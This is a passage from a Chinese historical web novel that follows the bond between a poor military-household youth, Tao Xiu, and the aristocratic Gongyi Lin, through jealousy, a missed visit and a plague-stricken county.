在陶修眼中,公仪林对江家兄妹冰冷的态度是源自他们富贵人家玩的“鄙视链”,站在高层的瞧不上低层,一层鄙视一层,商贾之家的江家在世代为官的公仪家跟前,大抵也如茅草屋的陶家一样,他能理解但无法改变公仪林的态度,只能暗搓搓对江家兄妹更客气热情,把玉河村东边小钟山上的热闹讲给兄妹二人听,还邀他们在夏日雨后进山采蘑菇。 公仪林被冷落一旁,一边嫉妒陶修跟旁人热情,一边不屑与姓江的说话,直到看见陶修起身带那俩人去看墙角的花,他才明白他们三人将自己彻底无视。 他厚颜无耻尾随其后,听陶修不疾不徐说出每株花的品名、花期、年岁。院中拢共就十来种花,江旋越凑越近,要介绍完时,公仪林瞧那姑娘几乎贴在陶修身上。 愤怒令人智昏,嫉妒促生邪念,公仪林突然伸出脚把俯身摘月季的江旋绊倒在地,陶修眼疾手快,在她将要跪伏时一把兜住。 江旋咬着唇把月季揉散在手中,她早感受到公仪林的敌意,站定后险些爆发脾气,迫于地位悬殊,她忍了,换上一副笑颜问公仪林:“公子是没见过女人,见了我就忍不住想引起我注意,不过可惜,我看不上你?” 公仪林炸了毛,也拽朵暗红的月季揉碎,眉心突突跳,酝酿着如何还击她。陶修突然搂上他肩膀五指在其肩头暗暗掐下去,笑说:“槐序,这朵花昨日才开,对待娇嫩的花要学会温和点。” 行,肩上的手让公仪林很满足,陶修都开口示弱了,今日的事到此为止。 江家兄妹坐一盏茶时间起身要走,陶修对众人道:“稍等片刻,我有几句话想和江姑娘讲。” 公仪林恨没有顺风耳,透过竹篱的间隙无论如何都看不清两人在嘀咕什么。 屋后的竹林隐蔽安静,陶修站在江旋对面略感歉意地说:“我为那日的出言不敬给江姑娘道歉,我该顾及姑娘的颜面把话说的委婉些。今日你也看见陶家家境了,我这样的人能给江姑娘什么承诺,连作为人最根本的饥饱都不敢保证,更没想过成家一事,何故还去拖累更多的人。”他温和笑道:“江姑娘是洒脱的人,我从未见过像你这样可爱的女子,单凭今日敢上门来找我,陶修也对此感激不已。” 江旋耳边全是他清和的声音,任她再大大咧咧,毕竟是女子,等他把话说完才慢慢抬起头,一双秀目宛转柔和,鼓起勇气笑道:“你越是这样说我对你的为人越是有兴趣。其实我今日和阿兄来此就是想看看你究竟生在哪样的人家。军户也罢、不肯入赘也罢,只要是我看上的人我便不在乎那些东西。” 她情绪激动,像滚水,脸上生出一片嫣红,“既然你对我无心,我也不会勉强人。听阿兄说你年纪不大就撑起整个家,所以对你满心好奇和敬佩。父亲把我当儿郎教养,平日里跟在他身后学做生意,一言一行都不受约束,没有富贵人家娘子的娇媚和端庄,我这人很粗糙,若不介意,往后我们也能当朋友相处。” 陶修由衷喜欢这姑娘,自身的条件不得不让他止步。 江家兄妹驾犊车走后,公仪林抱臂靠在院门旁赌陶修会目送他们多久才能回神,一盏茶时间过去他还没动,公仪林实在忍不住打趣道:“看够没,何时能把魂收回来?” 陶修才发现身后站个人,面红耳热,笑道:“走,进去吧。” “你们在竹林做什么,鬼鬼祟祟,心思不正。” “我,没说什么。”他的声音里有些无奈和伤感。 “我明日就回汝丘县了,特来和你辞行。” 陶修走 18.陶修是否来访 《他是小军户》全本免费阅读 陶修从屋里取出一根竹笛递给他:“那日你甩脸就走我还以为白刻做了,我能赠你的都是就地取材任谁都能做的小玩意,实在有点……” 公仪林接过竹笛挑在指间旋转几圈反复查看,像要从上面挖出非同一般的意义,“做的挺好,你这些小手艺我都喜欢,连系坠子的小孔都留了,可见真的用心。” 二人坐在树下的桌旁安安静静欣赏新得的礼,各自都很满足,陶修忽想起一事,开口问:“这几日你是否听到关于西海县瘟疫一事?” 公仪林隐隐感觉他要做什么,故作平静反问他:“打听那些做什么?” “人人听见瘟疫两字就色变,疫病一旦传开连医工都不肯救治,家人被迫分离,病者在孤寂中惶惶等死,你没见过那种地狱就无法想象将死之人的绝望。” “医工都管不了的病疫只能任其自生自灭,你又能帮到什么忙。西海县的可能不是瘟疫,否则这十来日能不见消息传来?别瞎琢磨,与你无关。” “但愿如此。” 公仪林走时,陶修一直送他至小路尽头,想话惜别却显得矫揉造作,什么都不说又不知下次见面会是何时。 两人击掌告别,相视而笑。 陶修的手指很长,肤色较暗,掌心粗糙,伸出的手掌被公仪林当空截握在手里不肯撒开,手指被他紧紧捏住,几乎疼到皱眉,似乎夹带某种不甘或是恼怒的情绪,见他久久没有松开的意思,陶修抖抖臂膀提醒发怔的公仪林:“你在想什么?” 公仪林慌忙丢开他的手,极不自然地笑道:“我在想你去汝丘找我时被守门的拦住怎么办。” “这点小事也值得发愣,我又不傻,想找你自然有办法。” 公仪林将竹笛在手中转一圈往腰中一别,作揖道:“好,那我就告辞了,后会有期。” “后会有期。” 夏季的夜空星光灿烂,陶修坐在简陋的书案前凝望天穹稀疏的星辰,手臂下压着剑匣,他忍不住点上灯再次打开欣赏,借着蜡烛柔和的光晕摩挲剑刃,忽然在护手处发现两个小字,忙凑近烛火仔细辨认,阴刻的是两个非常细小的“林修”二字,他望着光芒跳跃的蜡烛和手中利剑,才发现案几上一半的书籍都是公仪林所赠,满屋都是他的善意。 他灭了灯躺回床上舒展四肢,对着漆黑的屋子露出满足踏实的笑,活着似乎也没多艰辛。 * * * 回到汝丘的公仪林多次叮嘱守在正门、角门的门子:“若有一个自称陶修的年轻人来访,速速报于我知道,不管什么时辰都及时报来。” 几个门子从没见过二公子慎重地跟他们嘱咐过某件事,连连应声道:“记住了,记住了。” 外出回府公仪林必问门子:“陶修今日是否来访?” 门子们被他多次询问搞得惶恐不安,交职时也例行公事彼此打听:“今日有陶修来访吗?”“没有。” 这陶修究竟是哪方人氏,把几个门子弄得迷惑不解。 日子一如既往,公仪林却觉得乏味无趣,捧书看了半日就昏昏欲睡,窗外闹心的蝉鸣吵的他头疼,托着头伏在书案前眯了片刻,脸从掌中滑下猛然惊醒,望着空旷安静的屋子没来由一阵彷徨,呆呆愣了片刻后索性调整姿势在席子上坦荡地睡起来。 午后的阳光极其耀目,烈日炎炎,他热得突然睁开眼爬起来,提笔在纸上写下“康乐”两字,一遍不够,洋洋洒洒写了四五次,写完后先是满足地盯着看,随即撂下笔无趣地推开纸。 此人,他想见,又不敢见。 一直伺候公仪林的司子举着一封书函飞快从外跑来,十分兴奋地跃过门槛大喊道:“二公子,好事,好事啊。” 公仪林还慵懒地靠在一沓书上,眼皮都没动一下,漫不经心地问:“大热天的能有什么好事?” “大公子要回来了。” 他从书案前一跃而起夺了那信,迅速扫过一遍,信中言说他兄长一家七月二十能到家中,“今日是初几?” 司子擦着脸上的汗急急回道:“十六。” “太好了,母亲知道此事吗?” “夫人已经知晓了,前头都开始给大公子收拾屋子,把他房中的物什搬出来晒着咧。” “好,好,我快一年没见到他了。” 公仪家祖上官至晋司徒,高祖一辈时为齐国三品侍中,在那段荒诞动乱、民不聊生的战乱中,公仪、谢、陈这样几世为官的大族非但不受革朝易鼎的影响,还会在一代又一代后辈的奋发努力中累积声望,成为吴郡乃至全国无可动摇的世家门阀。 公仪檀比公仪林年长十岁,六年前因公仪家族的影响试用临川郡醴县县令,三年前实授县令一职。他因在外任职公事繁忙,一两年才能携带家眷回来一趟。眼下正是酷暑时节,去年添了一子,便携妻带子回乡避暑给他老母亲高兴高兴。 公仪林拿着信去佛堂找他母亲。轻轻跨进佛堂,他看见母亲在氤氲的香气中静坐的背影,但手中佛珠却掐的飞快,他探头笑道:“兄长回来,母亲就这样欣喜,佛珠都要被你掐出火来了。” 公仪夫人睁开眼,把佛珠在手腕缠了两圈,公仪林忙扶她起来。 “一年多没见到他了,还有至今一次面都没见过的佑儿,我在这祈求他们一路上平平安安。” “我跟你一样惦记他和佑儿咧。” “你哥的屋子收拾的怎么样了,幸好这几日烈日如火,把他屋中的霉气晒一晒。” “方才来时我看过了,还都在晒着。” “带我去看看,马虎不得,佑儿肉皮儿娇嫩,屋里的家具陈设里里外外多洗几遍,能晒的都晒一下,万一有霉虫咬了他。” 公仪林和兄长都住在三进院,院子由一道墙隔开,墙上特意开了道圆形门,既方便兄弟二人当年来往进出又泾渭分明有界限感。 他虚扶着母亲慢慢往院中去,想到 19.灯笼我要带走 《他是小军户》全本免费阅读 公仪檀在廿十那日回到汝丘家中,拖家带口兼仆从侍卫近二十人。 久别重逢的兄弟二人好一顿搂抱,公仪檀更惊讶一年多未见的兄弟竟比自己还高出一个眉头,欣慰的连声感叹:“上次一别你还是孩子样,今日就成大人了。” 整个家族最受众星捧月的莫过于公仪家的最新一辈人——公仪林那个还在蹒跚学步的侄儿公仪佑,这个粉雕玉琢连一句话都不会讲的毛崽子一进家门立即赢得所有人的目光和善意。 公仪老夫人自抱上孙子已连着三日都没再进过佛堂,乐得合不拢嘴,把哭闹认生的孩子硬是抱得服服帖帖。 那日午后,暑气熏蒸,公仪林托着头又在书案前昏昏沉沉打盹,门外传来公仪檀的声音:“睡醒了没?” 自公仪檀夫妇住进这三进院,为避嫌就把院墙上的圆形门暂时封起来,这会他是绕了一大圈刻意找兄弟来了。 公仪林起身迎出门外:“我刚打了一个盹,这天热的人心烦意乱,整日慵懒成性,书也读不下去又没有其他乐子。” 公仪檀从背后拿出黑色小陶罐递给他,笑道:“给你找乐子来了。” 他探头望去,是两只个头很大的蟋蟀,指着兄长乐道:“也就你敢在父亲耳鼻下玩这个。” 公仪檀见桌角揉了一堆废弃的白纸,顺手展开一张,其上写着“康乐”二字,又展开一张还是这两字,他当是普通的节气祝词,顺口点评字迹:“几个字写的遒劲有力,把纸都写穿了,看来这几年下了功夫,父亲说你不学无术游手好闲,只有我知道你是个踏实孩子。” 公仪林夺过他手中的纸又揉成团扔到桌角,满嘴不满:“老父他对我期望高着呢,向来对我挑三拣四吹毛求疵。不说了,我们斗蛐蛐。” 两人趴在黑陶罐旁吆喝助威,罐中两只蟋蟀扑杀撕咬,“兄长,我想去伯父那。” 公仪檀手中斗蛐蛐的草杆一停,抬头望着他:“何时有的想法?” 公仪林继续逗弄已被咬败的蛐蛐,云淡风轻回他:“没多久。想到自己一年长过一年还在家中无所事事,浪费大好年华不值当,不如跟在伯父身后谋个一官半职历练历练,往大了说想为国尽微薄之力,往小了说只不过是谋个前程。” “好啊,我在你这个年纪时不及你通透,被阿父赶着读书交游、见同龄的青年才俊,明明是块普通的石头却还装作美玉被到处推荐,那时候我都是硬着头皮去应付,你年纪不大主动要走这条路,我很吃惊。” 公仪檀的长相并不十分出众,胜在温文尔雅,稳重老练,往那一坐通身都是满腹经纶的儒者之气,或许受公仪夫人缓慢的讲话节奏影响,与他说话的人不自知就放缓说话速度去顺应他的语速。公仪林在他面前从来都恭恭敬敬。 “我一直很钦佩你十九岁就独自去醴县做官,你不是美玉谁是美玉。你不在家中,绝不知父亲是如何拿我与你比较,常叹息他身体不好不得不辞官回乡,致现今只有大伯一人在京撑着公仪家百年的基石,他哀叹时必朝我发泄一通,少不得用你来压我。” 公仪檀笑问:“那你都如何应付父亲的抱怨?” 公仪林抬起头狡黠一笑:“我当然抬脚就走。” “你这么敢?不怕父亲打你。” “偶尔为之,偶尔为之,多数时候还是老老实实跟在他身后走你一样的路去广交知书能文之士。” “不必过于忧心,等把这条路走出路径自然就轻松了,平时若有困惑的事就给我来封信,大哥我暂时还有能力为你授业解惑,等你真去了建康出头的机会多的是,我恐怕就不及你。” 两只蛐蛐斗的凶猛,公仪林那只被咬掉一条后腿,缩在罐底一动不动。公仪檀轻轻放下草杆,问:“回来这些时日各处应酬总没能好好陪你。外面有没有热闹些的地方,带我去瞧瞧?” “还真有一家,是一帮胡人在此开的酒楼,夜幕后又是跳又是弹,生意十分红火,把那花柳巷的生意都抢了。” “那就是晚上才热闹了?” “不分白日黑夜,但晚上灯火煌煌更有意境,我们现在去别处转转,等天一黑就去胡人的酒楼如何?” 公仪林忙命司子备马外出。 可巧这一日陶修上门拜访,他前脚走,陶修后脚就一路打听到公仪家的位置。 陶修一直没忘西海县的瘟疫,又兼陶彪再次提起他与陶舒必须成亲一事,心情郁闷难解,索性收拾几件衣裳去西海县当个义士。 去西海县要经过汝丘,他是午后打听到了公仪家,一路走来口干舌燥,手中用来遮阳的荷叶晒得焦枯,心里想着见到公仪林时必须得先喝碗水。 他六年前因偷窃受罚才来的公仪府,当时无心观赏公仪府邸的气派,此时再看这高大阔气的房舍构建,也就能明白像公仪林那样的人物只配从此间大门走出来。守在正门的门子有四人,其中两人笔直站立在大门两侧,另外两个则懒散地坐在阴凉处。 陶修把这身朴素的装束整理一遍,搭好肩头的包袱,上前问盘腿休息的两个门子:“两位大哥,敢问公仪二公子在府中吗?” 一个门子因天气炎热心绪烦躁,漫不经心地上下打量这清瘦的年轻人,一身浆洗过多褪了色的青布裋褐,裤脚不知是为了凉快还是裤腿本身就短,露出一截脚踝,一眼就看出是从乡下来的穷小子,遂不耐烦地摆手道:“不在,刚外出去了。” “他何时能回来?” 门子咂嘴问他:“你谁啊,找二公子做什么?别是诓我们的吧,二公子能认识你?” 陶修看出门子眼中的鄙夷,也不跟他们纠缠,仅对门子留下一句话:“二公子回来时劳烦大哥替我说一声,陶修拜访过。” 他话音刚落,刷的一下,正门前的四人齐齐向他看来,席地坐的两个慌忙拍拍屁股站起来,问:“你就是陶修?” “我是陶修。” 四人苦等三个月的谜题终于有了答案,勾肩搭背开心地笑了一阵,又开始起疑了:真的是这个穷小子? 门子一转方才的懒散,簇拥着陶修说:“二公子之前嘱咐过我们,若有叫陶修的人找来就立即通知他,可他同大公子刚出门不到一盏茶时间,我们也不知去了何处,要不,你到二公子院中等着,歇歇脚?” 陶修道:“不 20.只说他拜访过 《他是小军户》全本免费阅读 五个人彼此认识后在雅间落座,周群似乎还在胡姬炫目的舞裙下意犹未尽,“这几年来此做生意的胡人越来越多,以前看髭须浓密的胡人还觉稀奇,现在街上随处可见。” 公仪檀接话道:“天下清宁百姓安居乐业商贾才敢往来贸易,各色生意也会渐渐多起来,这帮胡人摸清本地没有他们奔放的歌舞才千里迢迢把特色带来这里,都是好事。” 严勋笑问起他的近况:“这趟是告了假回来,回来多久了?” “一年多未回,特意告假携妻子回来避暑,准备九月初启程。你近来如何,县中之事忙不忙?” 严勋叹息道:“汝丘小县能有什么大事,每日写写抄抄,散了值就出来喝喝酒。”寒人入仕较难,想要挤身士族中谋个体面的官职更难,看来此人对现状不是很满意。 公仪檀替他斟满一杯酒,严勋慌忙接住。 “位高位低皆是为朝廷为百姓,为这个世道,无愧于心就好。”公仪檀这个出自望族的自然没有安慰他的资格,只能将话往克己奉公的方向上引。 酒喝过两巡,酒品一般的人必然开始山南海北的高侃,周法将话锋转向与大陈敌对的周国,“过去北方战乱不止,四年前周国灭齐后统一北方,局势稳定,我想过不了多久周国就要觊觎我大陈疆土,不知京师对此有无防患,是否有夺回淮南淮北的决心。” 周群感叹时局的瞬息万变,语调低缓慢慢道:“当年主上势如破竹从齐国手中收复淮北,不想只六七年时间又得而复失,准备再次发兵,齐国却没了,成了周家的天下,我们无缘无故又多了个强敌,想要从周国手中拿回本属于我们的东西只怕更难了。”说毕,拿筷子在杯盏上敲击一下,似个感慨万千的说书人。 座上几位的年纪都长公仪林十来岁,他们的高谈阔论几乎没有他插嘴的余地,一直盯着兄长的举动,兄长喝酒他就小抿一口,兄长搁下筷子他也跟着,见提到当今时局和出兵打仗一事,忽而也来了兴致:“只要主上耳目清明,严守淮北仅有的几座城池和长江这道天然屏障,更兼大陈还有无数卢将军那样骁勇善战、久经沙场的人镇守边关,周国定然不敢轻易来犯。” 周法道:“长江天堑虽防外敌,却又将我大陈困于一隅难以施展。听闻现在这位周主雄才大略有治国之能、对外和亲突厥、内能控制诸王的权势,励精图治,他绝不似齐国高氏一族的荒唐暴虐,看着吧,不出几年周军一定会站在江北对我虎视眈眈。” 说书人周群又敲击酒杯未卜先知预测道:“将来的日子不好过哟。才太平几年啊,百姓尚未恢复生息,各处军府就急着召集军户训练为打北方那只狼做准备了。” 公仪林急着问道:“先生是不是已听到军府在召汇军户?还有其他消息方便告知吗?” 周群笑说:“仅是我的预测。但我却听到传闻,军户进军营的年纪下调一岁,若到用兵之际十七岁就能上阵杀敌。” 公仪林敛回方才火急火燎的神色,沉默不语,不停搓揉手中的白瓷酒杯,但愿这天下能长久太平。 几个年轻人就着家国政事又喝了几巡,公仪兄弟二人怕醉酒难堪,各自出了五六分酒量便准备回府。在楼下刚与严勋等人辞别,角落里的老手艺人就给公仪林递上制好的灯笼。 “老先生神速,这么快就做好了?” “都是现成的骨架,糊上纸就行。” 公仪林从怀中摸出几枚铜板丢给手艺人:“谢了。” 他提着灯笼跨上马背,回望灯火通明的整条街,想到玉河村那间漆黑无灯的茅草屋此时正沉寂在夜幕星辰下,不知屋里的人在做什么。 回到公仪府,守在大门外的司子牵过两人手中的马往马厩去,走了两步忽想起一事,追上来对公仪林说:“二公子,正门上的门子说今日陶修拜访过,可能就是玉河村的陶修。” 公仪林倏地把喝下肚的几杯酒劲散的一干二净,慌忙问门旁的门子:“他人在哪?” 守夜的两个门子尴尬地笑道:“公子,陶修是未时三刻拜访,当时小的不当值。听说他没等到公子当时就走了。” “当值的人在哪,立刻叫来。” 门子难为道:“他们都家去了,这个点估计都睡下了。” 公仪林意识到自己行为过分激烈说话还欠考虑,摆手让他们退下。 “陶修是谁?”公仪檀问。 公仪林害怕被人猜出心中尚不成熟的秘密,对“陶修”二个字比谁都敏感忌讳,稳住心神后随口回答兄长:“在玉河村认识的一个友人,算是小时候结识的吧。” “哦,大老远来拜访你,是不是有事?” “端午那几日我在姑母家住了段时间,邀过他来我家中玩,可能就是无事逛逛。” 这一夜公仪林都在失眠,辗转反侧盼着天明,天明后第一件事就要问话白日当值的门子,还对去北月牙酒楼一事懊悔不已,怎么偏偏就选了陶修来的日子去? 养在后园的公鸡刚啼第一声,公仪林迅速翻身下床,走出屋外看到朦胧不明的天色时当即捂着额头笑出声,嘲笑自己究竟在做什么蠢事,只得回屋继续睡觉。 这一觉又睡至日上三竿,算是给热醒的,洗漱后立即就去正门。 昨儿白天的四个门子一见二公子阔步而来就知道为了何事,站的笔直等问。 “昨日陶修来过?” 拿水给陶修喝的门子回道:“昨日公子您刚出门陶修就来了,听说您不在府中无论如何他都不肯进府休息,坐在那等了一个时辰。”门子指着陶修歇脚的巷道口,“天气极热,他又背着包袱,想是走了很久,我给他端了碗水。” “背着包袱?” 另一个门子跟着说:“是包袱,斜搭在右肩,像是要远足。” “他有没有留下什么话?” “没有,只让我们跟您说一声他拜访过。” 公仪林也不知自己想从几个门子口中得到什么样的回答才满意,闷闷不乐走回后院,在小花园的凉亭中看见母亲正逗着一岁多的侄子玩耍,孩子蹲下的地方洒了许多刚撷下的花瓣,咿咿呀呀用小手向两旁掸,他停在树下愣神好一会。 公仪夫人远远见他望着公仪佑发呆,当是做叔父的疼爱侄儿,遂招手说:“槐序过来,站那做什么,要看就过来看。” 他满 21.你是他什么人 《他是小军户》全本免费阅读 还隔着很长一段路公仪林就已看见陶家院中高大粗壮的绒花树,开着大片粉色的花,树冠茂盛,蓬蓬如盖。陶家兄妹一向喜欢在绒花树下做事,他拴马时发现院子空旷安静,陶修养的狸猫卧在花株的阴凉下睡觉,瘦薄的肚皮起起伏伏。 公仪林透过竹篱看见堂屋的门虚掩着,扣两下院门后,从屋里跑出来的是陶舒。 陶舒先是愣了一瞬,又惊又喜,慌忙将他请到绒花树下坐了。 “你哥呢,他不在家?” 兄长唯一的挚友就站在面前,陶舒心里既踏实也觉得委屈。 陶修不在的七八日里,她守着瘫痪的陶彪,害怕深夜的风吹草动,尽管陶修临走时候宽慰她如今已是太平安定的日子,她仍旧战战兢兢,不单是怕,还有对兄长涉入险境她却没有任何办法知晓他平安与否的惶恐和忧虑。 陶舒抿嘴稳住将哭的情绪才开口说:“阿兄去了西海县,说很快就会回来,西海县的瘟疫是不是很严重,否则他一定会给我捎个信。” 公仪林浑身打了个寒战愣在桌旁。西海县的事他早就忘了,早该猜到陶修是从不把命当回事的人,为了几串铜钱把家撑下去他真是什么果子都敢吞,沈钟说得对,他哪来什么天生的仁善宽厚,什么顺应本心去做事,都是那狗东西想赚钱罢了。 “蠢货,就是蠢货。”骂并不能消解他此时的愤怒,他还想打他。 “阿兄喜欢藏事,我从不知他平时都在想什么,下了决心的事谁都无法劝回头,去西海县前我劝了数回他仍决定要去。” 公仪林有点恍惚,站起身要走,走了几步又回头对陶舒说:“你哥会没事的,我去帮你找回来。” “真的?”陶舒忍了半天终于哭出声,央求道:“让他早点回来,我很害怕。” “只要见到我一定替你揍他一顿,丢下小妹一个人说走就走,这心放得真够宽的。” “公子,你别打他,阿兄就是想赚钱。” 上马时公仪林才发现双腿有点发沉,隔着低矮的茅草屋,他在马上回望花似云烟的绒花树,孤零零高出屋顶大半,没有陶修的玉河村一点意思都没有。 公仪林忧心郁闷回了沈家,悄悄向沈家大小仆从打听西海县的瘟疫,他们俱说那县几个月前就没有任何消息传出来,像死了一样。 县里发生的究竟是不是病疫,若是,为何几个月来没有风声也不见疫病散出,若不是,陶修又是因为何事耽搁而不顾家中妇弱病残七八日不归。 公仪林不敢跟旁人提起要去西海县一事,究其原因是心疼他老父亲,他老父知道他去疫地必定会犹豫纠结,纠结打断他哪条腿才最解气,连老父凶狠喷口水大骂的模样都想好了:“不要命的畜生,你的命不珍惜就罢了,还敢把病带出来祸害旁人,给我照死里打。” 入夜后,从沈府的墙头升起一弯新月,等弯月圆的时候就到仲秋了,树梢轻轻摇曳,单薄的衣衫已禁不住夜风,公仪林坐在廊下凝望新月沉思,他开始自审对陶修究竟是一种什么样的想法,果真如他坦然跟人提到的挚友?骗骗旁人就罢了,不能自欺,挚友而外他还想要点别的东西。 他又试图用年少无知哄骗自己这种“别的东西”仅仅是仰慕,但陶修那穷小子哪里配他去仰望。 西海县绝不能去,有丢命的可能不说,陶修也不值得他去冒险,那混小子不拿自己的性命当回事就算了,自己可是出自人丁兴旺的家族且又有大好前程的有为青年。 公仪林盯着月牙继续发呆,陶修清瘦单薄的身影在脑中挥之不去,明明一身瘦骨,挽袖运剑的手臂却强劲有力,是一双注定要在沙场上挥洒的手臂,他生性少言寡语,温和的笑意却能醉人。 公仪林抹了一把脸,咒骂一句,撑着双膝站起来敲开兄长的门。 因在沈家做客,地方局限,兄弟二人住在同一个院里,听见敲门声公仪檀披上衣裳走出来,睡意朦胧低声问:“槐序?这么晚还没睡?” “兄长,我明日有急事要外出一趟,一早就走,母亲若问起来你替我找借口遮一下。” 公仪檀见他说话严肃,瞬间醒了神,跟他一起站在廊下问:“去哪?多久?什么急事?” “去趟邻县,一个朋友给我捎口信说遇到点棘手的事,我很快就回,在母亲面前说的轻快些,别让她瞎着急。” “需要我帮忙?我从澧县带来的几个护卫你可抽带两个。” 公仪林笑道:“不必,哪能让公家的人替我办私事。”说完把公仪檀往屋里推:“不是大事,我很快就回来。” 公仪檀关门的前一刻叮嘱一句:“你是去哪个县?绝不能去西海县。” “西海县怎么了?” “闹了四五月的疫病,死了不少人,那地方早就阻绝起来了。” “我不是去西海县。” 黎明出发时,公仪林随手捡了两件衣裳,装点盘缠,把沈家各门上晒干的艾草统统揉碎装进布袋悬在马脖子旁。 打马声在朦胧未亮的清晨格外清晰,公仪檀抱着双臂站在小门旁看着兄弟远去,心里有些疑惑,昨夜他看见槐序蹲在廊下望了一宿的星辰,若不是心中藏事,小弟正蓬勃旺盛的年纪绝不会对月长叹。 从汝丘到西海县一百多里路程,沿路村庄稀疏,行人三三两两,公仪林一路打听方向,越靠近西海县人迹越少,被他问路的行人满脸不可思议,也有劝他回头的:“西海县进去难出来更难,我们离的近都不知里面究竟成了什么样,听闻尸横遍野,连收尸的人都没有。” 道路崎岖漫长,这一路下来他给马颠的有点眩晕反胃,平常和富贵公子们娱乐骑射他都能稳拿头筹,到实战中才见不足,他曾夸口自己骑术无人能及,现在想来就是花拳绣腿和公子们互相哄着玩。 公仪林午后到达西海县地界。此县与邻县间有大片庄稼相隔,人迹罕至,凡是能通行的大道、小路、阡陌皆被枯枝烂泥封堵。他绕过三个路口才发现一处简单的岗哨,茅屋前蹲着 22.西海县的经历1 《他是小军户》全本免费阅读 旁边一人推了一把这个说胡话的:“话说得的真难听,干嘛咒那孩子。”他指着寺庙向东几间草棚对公仪林说:“陶修就在那躺着,你自己找去,不过我先奉劝你一句,此疫病是看人下菜,有的人在病人中穿来走去什么事都没有,有的只摸了病人用过的被褥就死了,你小心些。” 说话难听的医工笑呵呵跟公仪林解释:“我没想咒他,是气他什么都不说,他要是真死了谁给他收尸。” 草棚是寺庙里已安排不下病患延伸出来的安置点,放眼望去足有二十间,还有几间已被拆除仅剩东倒西歪的木桩,可能是盛夏那会瘟疫猖狂时搭建的。 公仪林绑紧口鼻上的汗巾一间一间搜寻草棚,棚内咳嗽声此消彼长,嘶拉拉扯着喉管,像是接不上下一口气,病患面容焦黄精神萎靡,或躺或倚靠在草棚外,圈起一方小天地咳嗽自己的,晒着八月还有些炎热的太阳,此时已是傍晚,热力不似晌午。 公仪林是在最后一排的草棚前找到陶修的。 陶修和旁人一样的症状——畏寒,抱着双腿蹲在草棚外一堆干草里,头发凌乱,绑发的蓝色大巾蔫蔫地垂落在脸侧,左臂还绑着做义士的红色布带。一直喜欢挽起的袖子被他使劲拽至腕处,身体一颤一颤地打抖。 看见他那一刻,公仪林觉得他很可怜,孤苦伶仃的可怜,来之前因气愤还很荒谬的想打他一顿,此刻仅剩怜悯。 “康乐。”他蹲下来轻声喊了一句,脚碰到一只空碗,里面只有一点残余的汤药,看来老老实实把药喝完了。 陶修把头低到胸口,似乎睡着了,发冷的身子还想多吸纳日光的温度。 “康乐。”公仪林伸手触碰他的脖颈,小心翼翼推了下。 陶修并没睡,抬起暗淡无神的脸从恍惚中一瞬清醒,循声把视线落在公仪林身上时眼睛陡然亮起来。他费力地站起来刚要朝他伸手,突然后退两步命令道:“别靠近我,我被传染了疫病,也会传染给你。” 公仪林向前两步:“我已经站在田九亭的疫地,你不传给我还会有旁人。” 陶修极其疲乏,仅几个动作就气喘吁吁,退回刚才窝身的地方缓缓坐下,找个舒坦些的姿势后才责备他:“为何来西海县,不要命了?你现在就回去。” “第几天了?” 公仪林上前扶住陶修左臂,在其背后塞一团可倚靠的茅草,捏起他的下巴问:“我问你,病第几天了?” 陶修有气无力道:“昨日午后突然倒下的。我现在有些难受,可能不能送你出去了,我想歇歇。” “我带你回去。”公仪林蹲下身从双肩大力扯过陶修的两臂要背起来,背上软塌塌的人终于把他从昨日就腾起的怒火激发出来,边扯着陶修的手臂边大骂:“你是我见过最蠢的人,真就穷到连命也不要的地步?你穷可以跟我说,缺什么你都跟我讲,面子、自尊,顾及你的感受,呸,统统都是虚的,都是让人活受罪的东西,你缺什么要什么都跟我说啊,我真的想和你有人情上的来往。” 明知陶修来此并不单纯为了赚钱,可他就想在人活着最基本的需求上斥责他,绝不能拔高他的品格,否则无法消解心头之火。 “好端端我干嘛跟你提起西海县的瘟疫,要是再多了解你几天,那种话我万万不敢在你面前说。” 被他拽起来的陶修突然扼住他的手臂,气喘道:“槐序,放我下来,别带我回去。听我说,这个病前三日最为严重,你没把我带回家可能就死在路上了,第二,侥幸我活着到家,你要把这病带回玉河村和汝丘吗?” “我还没有傻到把你带回玉河村祸害旁人,可这里的处境太恶劣。沿途来时我看见几具肿胀的尸体,我……” 陶修保持最后的清明跟他讲明事情的严重性:“槐序,西海县的瘟疫近六个月了,一直没有传开,一方面是封锁及时,另一面是医工们已摸索出对症的良药,他们比外面的人有更多经验,别多虑,我知道自己该怎么做。你离我太近了,若你也被传上这病,我就背着你赠的剑去公仪家门口请死。” 公仪林拖着他的身体沉思一瞬,把他轻轻放倒在稻草上,又从包袱里拿出所有衣裳替他裹住,都是薄衣薄衫,对陶修畏寒的病症来说根本无法保暖。 陶修闭着眼睛忽而扯动嘴角笑了:“每回你跟着我都会遇到一件两件让我受惩治的事,下次别让我看见你。你如今站在疫地,我也不敢贸然让你回去,后面还有几间不用的草棚,你找个地方睡上几天,五日后没出问题就必须给我回去。” “既然来了就要跟你一起走。我从小就体魄健壮百毒不侵,肯定是佛祖最佑护的那一个。” 陶修还没听完他的话就已昏睡过去,安安静静闭着双眼,把披在身上的衣裳紧紧抓在手中。几个月不见这人好像又瘦了许多。 太阳已落西山,公仪林把他抱回草棚放到几块板搭成的床上,盖好薄被后解下他臂上的红色布条系在自己左臂,去熬药的草棚接过陶修这几日做的事。 安桂,担心陶修死了无人领尸的医工,见公仪林绑起红带出现在药庐前显然吃了一惊,一边搅大锅中的稀粥一边问:“敢留下来?” “这些天陶修都做哪些事,吩咐我来做。” 安桂见这小子白净的发亮,料他也坚持不了几天,故意吓唬道:“他做的事很杂,烧火、熬药、熏药、替人清洗,还要搬尸,你敢不敢?” 公仪林接过安桂手中的长勺搅粥,瞥见脚下已经鼎沸的药罐问:“陶修的药喝了多久,我什么时候再给他端去?” 安桂又重新架起更大点的瓦罐,把配好的草药放进去倒上清水,架在一个无火的灶上,抽出空看了眼公仪林,笑道:“跟你说实话,这些药也没多大用处,就算喝上两桶该死的还是死,不该死的一口不喝也能扛过去。你让他睡,发热时多降降温,畏寒时多焐着些,能挨过三天应该就没问题了,明日他尤其凶险。” “先生,你来此多久了,是否……” 安桂得意地笑了下:“我是有福有运之人,从二月天气回 23.原来他曾姓萧 《他是小军户》全本免费阅读 陶修声音虚弱意识模糊。公仪林忍耐着恐惧和难过回道:“是我,槐序。起来把粥吃了,再暖和和的躺下!” 陶修非常顺从地挣扎着坐起来。 公仪林轻轻把他扶靠在自己怀里,这是他第一次如此贴近地搂上陶修的身体,真是一把瘦骨啊。 陶修的头既沉又迷糊,无力撑起上半身,畏寒的症状使他一凑近公仪林的身体就本能地凑上去,抓住他的衣襟紧紧靠着。 